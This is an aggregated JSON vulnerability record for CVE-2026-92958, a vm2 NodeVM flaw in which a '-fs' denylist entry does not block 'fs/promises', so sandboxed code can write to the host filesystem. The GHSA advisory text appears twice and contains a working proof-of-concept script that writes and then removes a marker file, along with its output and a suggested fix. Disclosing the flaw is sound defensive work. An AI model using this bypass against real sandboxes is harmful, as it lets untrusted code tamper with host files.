{"id":"CVE-2026-92958","aliases":["CLSA-2026-1790888247","CLSA-2026-1790940570","EUVD-2026-81607","GHSA-6rh5-qq4q-97xh","GHSA-7c3p-84r8-h79q","GHSA-8686-vhfx-7r3j","GHSA-8hr7-r645-pc6w","ROOT-APP-NPM-CVE-2026-92958"],"status":"published","title":"vm2 before 3.11.7 Denylist Bypass via fs/promises","description":"vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","severity":{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00384,"percentile":0.32843,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-269","CWE-284"],"published":"2026-09-17T13:46:15Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"vm2","fixed_in":["3.10.0-tuxcare.3"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.11.6-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.11.6-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.6"},{"fixed":"3.11.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.11.5-tuxcare.0"},{"fixed":"3.11.5-tuxcare.3"}]}],"versions":["3.11.5","3.11.5-tuxcare.1","3.11.5-tuxcare.2"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.3"}]}],"versions":["3.10.0","3.10.0-tuxcare.1","3.10.0-tuxcare.2"]},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.6-root.io.1"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92958","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5","tags":["web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6rh5-qq4q-97xh"},{"url":"https://github.com/advisories/GHSA-7c3p-84r8-h79q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92958.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-92958","title":"vm2 before 3.11.7 Denylist Bypass via fs/promises","description":"vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T13:46:15.549Z","modified":"2026-09-18T19:35:47.679Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high","assessor":"cna"},{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T13:48:24.536396Z"}],"euvd":[{"id":"EUVD-2026-81607","description":"vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T13:46:15Z","modified":"2026-09-18T19:35:47Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"}],"updated_at":"2026-11-02T17:28:07.574446Z"}],"ghsa":[{"id":"GHSA-6rh5-qq4q-97xh","title":"vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","description":"## Summary\n\nNodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: ['*', '-fs', '-child_process']\n}\n```\n\n`require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-fs', '-child_process']\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n'use strict';\n\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst { NodeVM } = require('./');\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: ['*', '-fs', '-child_process']\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require('fs');\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e \u0026\u0026 e.code;\n      }\n\n      try {\n        require('child_process');\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e \u0026\u0026 e.code;\n      }\n\n      const fsp = require('fs/promises');\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require('node:fs/promises')` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require('fs/promises')`.\n- Adding only `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: ['*', '-fs']` blocks `fs/promises`.\n   - `builtin: ['*', '-fs']` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.","status":"published","published":"2026-10-01T15:36:48Z","modified":"2026-10-01T15:36:49Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-269","CWE-284"],"updated_at":"2026-11-02T14:41:24.739884Z"},{"id":"GHSA-7c3p-84r8-h79q","title":"Duplicate Advisory: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6rh5-qq4q-97xh. This link is maintained to preserve external references.\n\n## Original Description\nvm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-01T15:36:34Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"nvd":[{"id":"CVE-2026-92958","description":"vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T14:18:01.97Z","modified":"2026-09-18T20:17:31.243Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:12:49.013904Z"}],"osv":[{"id":"CVE-2026-92958","title":"vm2 before 3.11.7 Denylist Bypass via fs/promises","description":"vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","status":"published","published":"2026-09-17T13:46:15.549Z","modified":"2026-10-28T02:30:25.349255089Z","cvss":[{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:45:20.588039Z"},{"id":"GHSA-6rh5-qq4q-97xh","title":"vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","description":"## Summary\n\nNodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.\n\nWith the following configuration:\n\n```js\nrequire: {\n  builtin: ['*', '-fs', '-child_process']\n}\n```\n\n`require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.\n\n## Affected Mode\n\nNodeVM.\n\n## Affected Configuration\n\n```js\nnew NodeVM({\n  require: {\n    builtin: ['*', '-fs', '-child_process']\n  }\n});\n```\n\nThis affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard.\n\n## Affected Files / Functions\n\n- `lib/builtin.js`\n  - `DANGEROUS_BUILTINS`\n  - `BUILTIN_MODULES`\n  - `makeBuiltinsFromLegacyOptions`\n  - `addDefaultBuiltin`\n- `lib/resolver.js`\n  - `Resolver.resolve`\n  - `Resolver.loadBuiltinModule`\n- `lib/setup-node-sandbox.js`\n  - `requireImpl`\n\n## Root Cause\n\n`lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nThis means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.\n\nThere is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Security Boundary Crossed\n\nSandboxed code can perform host filesystem writes even though the embedder denied `fs`.\n\n## Impact\n\nConfirmed impact:\n\n- Host file creation\n- Host file write\n\nThe proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.\n\nAdditional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.\n\n## Safe Local Reproduction\n\nTested on Node.js `v24.14.0`.\n\nThis proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.\n\n```js\n'use strict';\n\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\nconst { NodeVM } = require('./');\n\nconst proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);\nconst marker = `vm2-fs-promises-marker-${process.pid}`;\n\ntry {\n  fs.unlinkSync(proofPath);\n} catch (_) {}\n\n(async () =\u003e {\n  const vm = new NodeVM({\n    require: {\n      builtin: ['*', '-fs', '-child_process']\n    }\n  });\n\n  const result = await vm.run(`\n    module.exports = (async () =\u003e {\n      const r = {};\n\n      try {\n        require('fs');\n        r.fsLoaded = true;\n      } catch (e) {\n        r.fsBlocked = true;\n        r.fsError = e \u0026\u0026 e.code;\n      }\n\n      try {\n        require('child_process');\n        r.childProcessLoaded = true;\n      } catch (e) {\n        r.childProcessBlocked = true;\n        r.childProcessError = e \u0026\u0026 e.code;\n      }\n\n      const fsp = require('fs/promises');\n      r.fsPromisesLoaded = true;\n      r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();\n\n      await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');\n      r.wrote = true;\n\n      return r;\n    })();\n  `);\n\n  const exists = fs.existsSync(proofPath);\n  const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;\n\n  console.log(JSON.stringify({\n    result,\n    hostFileExists: exists,\n    hostFileContent: content\n  }, null, 2));\n\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n})().catch(error =\u003e {\n  try {\n    fs.unlinkSync(proofPath);\n  } catch (_) {}\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nObserved result:\n\n```json\n{\n  \"result\": {\n    \"fsBlocked\": true,\n    \"fsError\": \"ENOTFOUND\",\n    \"childProcessBlocked\": true,\n    \"childProcessError\": \"ENOTFOUND\",\n    \"fsPromisesLoaded\": true,\n    \"wrote\": true\n  },\n  \"hostFileExists\": true,\n  \"hostFileContent\": \"vm2-fs-promises-marker-\u003cpid\u003e\"\n}\n```\n\nAdditional local checks:\n\n- `require('node:fs/promises')` also loads and can write the proof file.\n- Adding `-fs/promises` blocks `require('fs/promises')`.\n- Adding only `-node:fs/promises` does not block `require('fs/promises')`.\n\n## Expected Secure Behavior\n\nIf an embedder denies `fs`, NodeVM should deny the whole filesystem builtin family, including:\n\n- `fs`\n- `fs/promises`\n- `node:fs`\n- `node:fs/promises`\n\nNegative entries with and without `node:` should be normalized consistently.\n\n## Suggested Fix\n\n1. Normalize builtin names before allow/deny checks:\n   - Strip `node:` for comparison.\n   - Use one canonical key form internally.\n\n2. Treat negative builtin entries as family denials where appropriate:\n   - `-fs` should block `fs/promises`.\n   - `-inspector` already conceptually blocks `inspector/promises`; apply the same family logic to user-provided negative entries.\n\n3. Add regression tests for:\n   - `builtin: ['*', '-fs']` blocks `fs/promises`.\n   - `builtin: ['*', '-fs']` blocks `node:fs/promises`.\n   - `-node:fs/promises` and `-fs/promises` behave equivalently.\n   - Explicit allowlist behavior is documented and covered.","status":"published","published":"2026-10-01T15:36:48Z","modified":"2026-10-01T15:45:06.200420134Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","level":"high"}],"cwes":["CWE-269","CWE-284"],"updated_at":"2026-11-02T15:46:39.965326Z"},{"id":"GHSA-7c3p-84r8-h79q","title":"Duplicate Advisory: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6rh5-qq4q-97xh. This link is maintained to preserve external references.\n\n## Original Description\nvm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.","status":"withdrawn","published":"2026-09-17T15:32:16Z","modified":"2026-10-01T15:45:05.646497939Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L","level":"high"},{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"CLSA-2026-1790888247","title":"TuxCare security update for vm2 (15 CVEs)","description":"TuxCare rebuilt vm2 to address 15 CVEs. Fixed in 3.11.5-tuxcare.3.","status":"published","published":"2026-10-01T20:57:27Z","modified":"2026-10-15T09:47:57.771844817Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790940570","title":"TuxCare security update for vm2 (1 CVE)","description":"TuxCare rebuilt vm2 to address 1 CVE. Fixed in 3.10.0-tuxcare.3.","status":"published","published":"2026-10-02T11:29:30Z","modified":"2026-10-15T09:47:57.96642134Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"ROOT-APP-NPM-CVE-2026-92958","title":"CVE-2026-92958 in vm2 - Patched by Root","description":"Root has patched CVE-2026-92958 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T07:16:29Z","modified":"2026-10-19T08:15:07.362193456Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
